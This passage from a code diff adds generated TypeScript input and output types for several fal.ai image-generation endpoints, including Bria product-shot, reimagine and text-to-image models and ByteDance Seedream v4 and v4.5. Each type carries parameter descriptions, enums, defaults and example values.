and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If you've selected placement_type=manual_placement, you should use this parameter to specify which placements/positions you would like to use from the list. You can select more than one placement in one request. + * @default 'bottom_center' + * @type string | undefined + */ + manual_placement_selection?: InputFalAiBriaProductShotManualPlacementSelectionEnumKey + /** + * @description The number of lifestyle product shots you would like to generate. You will get num_results x 10 results when placement_type=automatic and according to the number of required placements x num_results if placement_type=manual_placement. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_results?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageB1E375Ee = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiBriaProductShot = { + /** + * @description The generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/bria/bria_product_res.png","content_type":"image/png"}] + * @type array + */ + images: ImageB1E375Ee[] +} + +export type InputFalAiBriaReimagine = { + /** + * @description The prompt you would like to use to generate images. + * @example A 2d illustration of a dog in a vibrant park + * @type string + */ + prompt: string + /** + * @description The URL of the structure reference image. Use "" to leave empty. Accepted formats are jpeg, jpg, png, webp. + * @default '' + * @example https://storage.googleapis.com/falserverless/bria/bria_reimagine_input.png + * @type string | undefined + */ + structure_image_url?: string + /** + * @description The number of iterations the model goes through to refine the generated image. This parameter is optional. + * @minimum 20 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description Whether to use the fast model + * @default true + * @type boolean | undefined + */ + fast?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description How many images you would like to generate. When using any Guidance Method, Value is set to 1. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_results?: number + /** + * @description The influence of the structure reference on the generated image. Must be between 0 and 1. + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @example 0.15 + * @type number | undefined + */ + structure_ref_influence?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageD380F97D = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiBriaReimagine = { + /** + * @description The generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/bria/bria_reimagine_output.png","content_type":"image/png"}] + * @type array + */ + images: ImageD380F97D[] + /** + * @description Seed value used for generation. + * @type integer + */ + seed: number +} + +export const guidanceInputMethodEnum = { + controlnet_canny: 'controlnet_canny', + controlnet_depth: 'controlnet_depth', + controlnet_recoloring: 'controlnet_recoloring', + controlnet_color_grid: 'controlnet_color_grid', +} as const + +export type GuidanceInputMethodEnumKey = + (typeof guidanceInputMethodEnum)[keyof typeof guidanceInputMethodEnum] + +export type GuidanceInput = { + /** + * @description Impact of the guidance. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description Which guidance type you would like to include in the generation. Up to 4 guidance methods can be combined during a single inference. This parameter is optional. + * @type string | undefined + */ + method?: GuidanceInputMethodEnumKey + /** + * @description The image that should be used as guidance, in base64 format, with the method defined in guidance_method_1. Accepted formats are jpeg, jpg, png, webp. Maximum file size 12MB. If more then one guidance method is used, all guidance images must be of the same aspect ratio, and this will be the aspect ratio of the generated results. If guidance_method_1 is selected, an image must be provided. + * @type string + */ + image_url: string +} + +export const inputFalAiBriaTextToImageBaseMedium = { + photography: 'photography', + art: 'art', +} as const + +export type InputFalAiBriaTextToImageBaseMediumKey = + (typeof inputFalAiBriaTextToImageBaseMedium)[keyof typeof inputFalAiBriaTextToImageBaseMedium] + +export const inputFalAiBriaTextToImageBaseAspectRatioEnum = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputFalAiBriaTextToImageBaseAspectRatioEnumKey = + (typeof inputFalAiBriaTextToImageBaseAspectRatioEnum)[keyof typeof inputFalAiBriaTextToImageBaseAspectRatioEnum] + +export type InputFalAiBriaTextToImageBase = { + /** + * @description The prompt you would like to use to generate images. + * @minLength 1 + * @example A lone figure stands on the edge of a serene cliff at sunset, gazing out over a vast, mystical valley. The figure is clad in flowing robes that ripple in the gentle breeze, silhouetted against the golden and lavender hues of the sky. Below, a cascading waterfall pours into a sparkling river winding through a forest of bioluminescent trees. The scene blends the awe of nature with a touch of otherworldly wonder, inviting reflection and imagination. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of iterations the model goes through to refine the generated image. This parameter is optional. + * @minimum 20 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description How many images you would like to generate. When using any Guidance Method, Value is set to 1. + * @minimum 1 + * @maximum 4 + * @default 4 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description When set to true, enhances the provided prompt by generating additional, more descriptive variations, resulting in more diverse and creative output images. + * @default false + * @type boolean | undefined + */ + prompt_enhancement?: boolean + /** + * @description The negative prompt you would like to use to generate images. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Which medium should be included in your generated images. Omit or set to null to let Bria select the medium. + */ + medium?: InputFalAiBriaTextToImageBaseMediumKey | null + /** + * @description Guidance images to use for the generation. Up to 4 guidance methods can be combined during a single inference. + * @default [] + * @type array | undefined + */ + guidance?: GuidanceInput[] + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the image. When a guidance method is being used, the aspect ratio is defined by the guidance image and this parameter is ignored. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiBriaTextToImageBaseAspectRatioEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image437Ebd21 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiBriaTextToImageBase = { + /** + * @description The generated images + * @example [{"url":"https://v3.fal.media/files/tiger/48e63e0K6C9XQYBuomoU-_257cf8e7bd3a47c2959396343d5b38cf.png","file_name":"257cf8e7bd3a47c2959396343d5b38cf.png","height":1536,"content_type":"image/png","width":1536,"file_size":3731290}] + * @type array + */ + images: Image437Ebd21[] + /** + * @description Seed value used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiBriaTextToImageFastMedium = { + photography: 'photography', + art: 'art', +} as const + +export type InputFalAiBriaTextToImageFastMediumKey = + (typeof inputFalAiBriaTextToImageFastMedium)[keyof typeof inputFalAiBriaTextToImageFastMedium] + +export const inputFalAiBriaTextToImageFastAspectRatioEnum = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputFalAiBriaTextToImageFastAspectRatioEnumKey = + (typeof inputFalAiBriaTextToImageFastAspectRatioEnum)[keyof typeof inputFalAiBriaTextToImageFastAspectRatioEnum] + +export type InputFalAiBriaTextToImageFast = { + /** + * @description The prompt you would like to use to generate images. + * @minLength 1 + * @example A lone figure stands on the edge of a serene cliff at sunset, gazing out over a vast, mystical valley. The figure is clad in flowing robes that ripple in the gentle breeze, silhouetted against the golden and lavender hues of the sky. Below, a cascading waterfall pours into a sparkling river winding through a forest of bioluminescent trees. The scene blends the awe of nature with a touch of otherworldly wonder, inviting reflection and imagination. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of iterations the model goes through to refine the generated image. This parameter is optional. + * @minimum 4 + * @maximum 10 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description How many images you would like to generate. When using any Guidance Method, Value is set to 1. + * @minimum 1 + * @maximum 4 + * @default 4 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description When set to true, enhances the provided prompt by generating additional, more descriptive variations, resulting in more diverse and creative output images. + * @default false + * @type boolean | undefined + */ + prompt_enhancement?: boolean + /** + * @description The negative prompt you would like to use to generate images. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Which medium should be included in your generated images. Omit or set to null to let Bria select the medium. + */ + medium?: InputFalAiBriaTextToImageFastMediumKey | null + /** + * @description Guidance images to use for the generation. Up to 4 guidance methods can be combined during a single inference. + * @default [] + * @type array | undefined + */ + guidance?: GuidanceInput[] + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the image. When a guidance method is being used, the aspect ratio is defined by the guidance image and this parameter is ignored. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiBriaTextToImageFastAspectRatioEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image4F1F66B6 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiBriaTextToImageFast = { + /** + * @description The generated images + * @example [{"url":"https://v3.fal.media/files/tiger/48e63e0K6C9XQYBuomoU-_257cf8e7bd3a47c2959396343d5b38cf.png","file_name":"257cf8e7bd3a47c2959396343d5b38cf.png","height":1536,"content_type":"image/png","width":1536,"file_size":3731290}] + * @type array + */ + images: Image4F1F66B6[] + /** + * @description Seed value used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiBriaTextToImageHdMedium = { + photography: 'photography', + art: 'art', +} as const + +export type InputFalAiBriaTextToImageHdMediumKey = + (typeof inputFalAiBriaTextToImageHdMedium)[keyof typeof inputFalAiBriaTextToImageHdMedium] + +export const inputFalAiBriaTextToImageHdAspectRatioEnum = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputFalAiBriaTextToImageHdAspectRatioEnumKey = + (typeof inputFalAiBriaTextToImageHdAspectRatioEnum)[keyof typeof inputFalAiBriaTextToImageHdAspectRatioEnum] + +export type InputFalAiBriaTextToImageHd = { + /** + * @description The prompt you would like to use to generate images. + * @minLength 1 + * @example A lone figure stands on the edge of a serene cliff at sunset, gazing out over a vast, mystical valley. The figure is clad in flowing robes that ripple in the gentle breeze, silhouetted against the golden and lavender hues of the sky. Below, a cascading waterfall pours into a sparkling river winding through a forest of bioluminescent trees. The scene blends the awe of nature with a touch of otherworldly wonder, inviting reflection and imagination. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of iterations the model goes through to refine the generated image. This parameter is optional. + * @minimum 20 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description How many images you would like to generate. When using any Guidance Method, Value is set to 1. + * @minimum 1 + * @maximum 4 + * @default 4 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description When set to true, enhances the provided prompt by generating additional, more descriptive variations, resulting in more diverse and creative output images. + * @default false + * @type boolean | undefined + */ + prompt_enhancement?: boolean + /** + * @description The negative prompt you would like to use to generate images. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Which medium should be included in your generated images. Omit or set to null to let Bria select the medium. + */ + medium?: InputFalAiBriaTextToImageHdMediumKey | null + /** + * @description Guidance images to use for the generation. Up to 4 guidance methods can be combined during a single inference. + * @default [] + * @type array | undefined + */ + guidance?: GuidanceInput[] + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the image. When a guidance method is being used, the aspect ratio is defined by the guidance image and this parameter is ignored. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiBriaTextToImageHdAspectRatioEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image4D7C6E6C = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiBriaTextToImageHd = { + /** + * @description The generated images + * @example [{"url":"https://v3.fal.media/files/tiger/48e63e0K6C9XQYBuomoU-_257cf8e7bd3a47c2959396343d5b38cf.png","file_name":"257cf8e7bd3a47c2959396343d5b38cf.png","height":1536,"content_type":"image/png","width":1536,"file_size":3731290}] + * @type array + */ + images: Image4D7C6E6C[] + /** + * @description Seed value used for generation. + * @type integer + */ + seed: number +} + +export type ImageSize035F9Fb9 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiBytedanceSeedreamV45EditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto_2K: 'auto_2K', + auto_4K: 'auto_4K', +} as const + +export type InputFalAiBytedanceSeedreamV45EditImageSizeKey = + (typeof inputFalAiBytedanceSeedreamV45EditImageSize)[keyof typeof inputFalAiBytedanceSeedreamV45EditImageSize] + +export type InputFalAiBytedanceSeedreamV45Edit = { + /** + * @description Number of separate model generations to be run with the prompt. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The text prompt used to edit the image + * @example Replace the product in Figure 1 with that in Figure 2. For the title copy the text in Figure 3 to the top of the screen, the title should have a clear contrast with the background but not be overly eye-catching. + * @type string + */ + prompt: string + /** + * @description The size of the generated image. Width and height must be between 1920 and 4096, or total number of pixels must be between 2560*1440 and 4096*4096. + * @default {"height":2048,"width":2048} + * @example auto_4K + */ + image_size?: + | ImageSize035F9Fb9 + | InputFalAiBytedanceSeedreamV45EditImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description List of URLs of input images for editing. Presently, up to 10 image inputs are allowed. If over 10 images are sent, only the last 10 will be used. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/seedreamv45/seedream_v45_edit_input_1.png","https://storage.googleapis.com/falserverless/example_inputs/seedreamv45/seedream_v45_edit_input_2.png","https://storage.googleapis.com/falserverless/example_inputs/seedreamv45/seedream_v45_edit_input_3.png"] + * @type array + */ + image_urls: string[] + /** + * @description Random seed to control the stochasticity of image generation. + */ + seed?: number | null + /** + * @description If set to a number greater than one, enables multi-image generation. The model will potentially return up to `max_images` images every generation, and in total, `num_images` generations will be carried out. In total, the number of images generated will be between `num_images` and `max_images*num_images`. The total number of images (image inputs + image outputs) must not exceed 15 + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + max_images?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image1De87500 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedreamV45Edit = { + /** + * @description Generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/seedreamv45/seedream_v45_edit_output.png"}] + * @type array + */ + images: Image1De87500[] +} + +export type ImageSize977A376A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiBytedanceSeedreamV45TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto_2K: 'auto_2K', + auto_4K: 'auto_4K', +} as const + +export type InputFalAiBytedanceSeedreamV45TextToImageImageSizeKey = + (typeof inputFalAiBytedanceSeedreamV45TextToImageImageSize)[keyof typeof inputFalAiBytedanceSeedreamV45TextToImageImageSize] + +export type InputFalAiBytedanceSeedreamV45TextToImage = { + /** + * @description Random seed to control the stochasticity of image generation. + */ + seed?: number | null + /** + * @description The text prompt used to generate the image + * @example A selfie of a cat, with the cat as the protagonist. The setting is twilight at the Eiffel Tower. The cat is happy, holding a piece of baklava in its paw. The photo has a slight motion blur and is slightly overexposed. From a selfie angle, with a bit of motion blur, the overall image presents a sense of calm madness. The text "Seedream 4.5 is on fal" should be written on the picture at the top in clearly visible font and crisp lettering. The image has a 4:3 aspect ratio + * @type string + */ + prompt: string + /** + * @description Number of separate model generations to be run with the prompt. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. Width and height must be between 1920 and 4096, or total number of pixels must be between 2560*1440 and 4096*4096. + * @default {"height":2048,"width":2048} + * @example auto_2K + */ + image_size?: + | ImageSize977A376A + | InputFalAiBytedanceSeedreamV45TextToImageImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to a number greater than one, enables multi-image generation. The model will potentially return up to `max_images` images every generation, and in total, `num_images` generations will be carried out. In total, the number of images generated will be between `num_images` and `max_images*num_images`. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + max_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image8C8Fce51 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedreamV45TextToImage = { + /** + * @description Generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/seedreamv45/seedream_v45_t2i_output.png"}] + * @type array + */ + images: Image8C8Fce51[] + /** + * @description Seed used for generation + * @example 42 + * @type integer + */ + seed: number +} + +export type ImageSizeEbab18Da = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiBytedanceSeedreamV4EditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', + auto_2K: 'auto_2K', + auto_4K: 'auto_4K', +} as const + +export type InputFalAiBytedanceSeedreamV4EditImageSizeKey = + (typeof inputFalAiBytedanceSeedreamV4EditImageSize)[keyof typeof inputFalAiBytedanceSeedreamV4EditImageSize] + +export const inputFalAiBytedanceSeedreamV4EditEnhancePromptModeEnum = { + standard: 'standard', + fast: 'fast', +} as const + +export type InputFalAiBytedanceSeedreamV4EditEnhancePromptModeEnumKey = + (typeof inputFalAiBytedanceSeedreamV4EditEnhancePromptModeEnum)[keyof typeof inputFalAiBytedanceSeedreamV4EditEnhancePromptModeEnum] + +export type InputFalAiBytedanceSeedreamV4Edit = { + /** + * @description Number of separate model generations to be run with the prompt. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The text prompt used to edit the image + * @example Dress the model in the clothes and hat. Add a cat to the scene and change the background to a Victorian era building. + * @type string + */ + prompt: string + /** + * @description The size of the generated image. The minimum total image area is 921600 pixels. Failing this, the image size will be adjusted to by scaling it up, while maintaining the aspect ratio. + * @default {"height":2048,"width":2048} + * @example {"height":2160,"width":3840} + */ + image_size?: ImageSizeEbab18Da | InputFalAiBytedanceSeedreamV4EditImageSizeKey + /** + * @description List of URLs of input images for editing. Presently, up to 10 image inputs are allowed. If over 10 images are sent, only the last 10 will be used. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/seedream4_edit_input_1.png","https://storage.googleapis.com/falserverless/example_inputs/seedream4_edit_input_2.png","https://storage.googleapis.com/falserverless/example_inputs/seedream4_edit_input_3.png","https://storage.googleapis.com/falserverless/example_inputs/seedream4_edit_input_4.png"] + * @type array + */ + image_urls: string[] + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed to control the stochasticity of image generation. + */ + seed?: number | null + /** + * @description The mode to use for enhancing prompt enhancement. Standard mode provides higher quality results but takes longer to generate. Fast mode provides average quality results but takes less time to generate. + * @default 'standard' + * @type string | undefined + */ + enhance_prompt_mode?: InputFalAiBytedanceSeedreamV4EditEnhancePromptModeEnumKey + /** + * @description If set to a number greater than one, enables multi-image generation. The model will potentially return up to `max_images` images every generation, and in total, `num_images` generations will be carried out. In total, the number of images generated will be between `num_images` and `max_images*num_images`. The total number of images (image inputs + image outputs) must not exceed 15 + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + max_images?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image48D57F57 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedreamV4Edit = { + /** + * @description Generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/seedream4_edit_output.png"}] + * @type array + */ + images: Image48D57F57[] + /** + * @description Seed used for generation + * @example 746406749 + * @type integer + */ + seed: number +} + +export type ImageSizeD6Dc959F = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiBytedanceSeedreamV4TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', + auto_2K: 'auto_2K', + auto_4K: 'auto_4K', +} as const + +export type InputFalAiBytedanceSeedreamV4TextToImageImageSizeKey = + (typeof inputFalAiBytedanceSeedreamV4TextToImageImageSize)[keyof typeof inputFalAiBytedanceSeedreamV4TextToImageImageSize] + +export const inputFalAiBytedanceSeedreamV4TextToImageEnhancePromptModeEnum = { + standard: 'standard', + fast: 'fast', +} as const + +export type InputFalAiBytedanceSeedreamV4TextToImageEnhancePromptModeEnumKey = + (typeof inputFalAiBytedanceSeedreamV4TextToImageEnhancePromptModeEnum)[keyof typeof inputFalAiBytedanceSeedreamV4TextToImageEnhancePromptModeEnum] + +export type InputFalAiBytedanceSeedreamV4TextToImage = { + /** + * @description Number of separate model generations to be run with the prompt. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The text prompt used to generate the image + * @example A trendy restaurant with a digital menu board displaying "Seedream 4.0 is available on fal" in elegant script, with diners enjoying their meals. + * @type string + */ + prompt: string + /** + * @description The size of the generated image. Total pixels must be between 960x960 and 4096x4096. + * @default {"height":2048,"width":2048} + * @example {"height":4096,"width":4096} + */ + image_size?: + | ImageSizeD6Dc959F + | InputFalAiBytedanceSeedreamV4TextToImageImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed to control the stochasticity of image generation. + */ + seed?: number | null + /** + * @description The mode to use for enhancing prompt enhancement. Standard mode provides higher quality results but takes longer to generate. Fast mode provides average quality results but takes less time to generate. + * @default 'standard' + * @type string | undefined + */ + enhance_prompt_mode?: InputFalAiBytedanceSeedreamV4TextToImageEnhancePromptModeEnumKey + /** + * @description If set to a number greater than one, enables multi-image generation. The model will potentially return up to `max_images` images every generation, and in total, `num_images` generations will be carried out. In total, the number of images generated will be between `num_images` and `max_images*num_images`. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + max_images?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image6Aeae944 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedreamV4TextToImage = { + /** + * @description Generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/seedream4_t2i_output.png"}] + * @type array + */ + images: Image6Aeae944[] + /** + * @description Seed used for generation + * @example 746406749 + * @type integer + */ + seed: number +} + +export type ImageSize2D70Ab8E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiCatVtonImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiCatVtonImageSizeKey = + (typeof inputFalAiCatVtonImageSize)[keyof typeof inputFalAiCatVtonImageSize] + +export const inputFalAiCatVtonClothTypeEnum = { 